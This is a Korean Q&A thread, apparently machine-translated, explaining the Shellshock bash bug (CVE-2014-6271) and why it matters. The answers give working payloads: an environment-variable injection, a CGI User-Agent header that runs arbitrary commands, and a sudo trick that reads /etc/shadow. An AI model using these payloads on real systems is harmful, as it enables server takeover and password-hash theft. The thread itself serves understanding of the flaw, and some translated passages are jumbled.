나는 가능한 보안 문제를 이해하려고 노력하고 CVE-2014-6271
있으며 내가 보는 모든 링크는 다음 명령만 제공합니다.
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
내가 얻는 결과가 다음과 같다면
vulnerable
this is a test
이는 내 bash 쉘이 취약하다는 것을 의미합니다.
그런데 그것이 보안과 무슨 관계가 있는 걸까요? 즉, 내 시스템에 어떤 피해가 가해질까요?
답변1
보안 문제는 bash가 악의적인 환경 변수 세트로 시작되면 bash가 해당 변수의 코드를 실행한다는 것입니다.
예를 들어, 호출이 있다고 가정해 보겠습니다 . 이 애플리케이션도 호출되는 환경 변수를 사용 하고 해당 변수의 값이 사용자 제공 입력에서 나온다고 /bin/foo bar
가정해 보겠습니다 . 그래서 웹 서버 애플리케이션이 환경을 설정한 다음 쉘이 이에 액세스합니다 . 환경 변수를 읽을 때 제공된 변수에 악성 코드가 있으면 실행됩니다.foo
baz
foo bar
bash
bash
일반적으로 이는 문제가 되지 않습니다. 환경 변수는 완전히 안전해야 합니다. 변수를 사용하는 애플리케이션이 오작동하는 경우 이는 또 다른 이야기입니다. 그러나 위의 경우에는 bash
변수가 사용되지 않습니다.baz
예를 들어:
테스트 스크립트.sh
export BAZ='() { :;}; echo MALICIOUS CODE'
echo starting sleep
/bin/bash -c 'sleep 1'
실행하면 다음 정보를 얻습니다.
$ /bin/dash testscript.sh
starting sleep
MALICIOUS CODE
따라서 이 변수를 설정하기만 하면 bash에게 임의의 코드를 실행하도록 지시할 수 있습니다.
다음은 명시적인 쉘을 사용하지 않고 bash를 언급하지 않은 또 다른 예입니다.
$ perl -e '$ENV{"BAZ"}="() { :;}; echo MALICIOUS CODE"; print("starting sleep\n"); system("/bin/sleep 1;");'
starting sleep
MALICIOUS CODE
(이것이 작동하려면 /bin/sh
bash가 필요합니다)
답변2
이 사람들은 웹 서버 CGI 프로세스에 코드를 삽입하는 방법을 설명합니다. 기본적으로 공격 코드가 포함되도록 요청의 사용자 에이전트를 설정하여 작동합니다.
http://packetstormsecurity.com/files/128394/bash-poc.txt
'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
공격이 성공하면 웹 서버 권한을 사용하여 웹 서버에 접근할 수 있으며 해당 웹 서버의 전체 콘텐츠가 손상된 것으로 간주됩니다.
답변3
다음과 같은 경우 sudo를 통해 실행할 수도 있습니다.환경 재설정비활성화됨(적어도 Debian에서는 기본적으로 활성화되어 있음)
Defaults env_reset
하지만 다음과 같이 바꾸면
Defaults !env_reset
(과거 여러 시스템에서 이것을 본 적이 있습니다!!!)
그 다음에
sudo Y='() { disabled; }; /bin/cat /etc/shadow;' /tmp/zomg.sh
루트: $6$......`
여기에 분할 오류가 나타납니다.
sudoers 파일에는 다음이 포함됩니다.
알린 ALL=/tmp/zomg.sh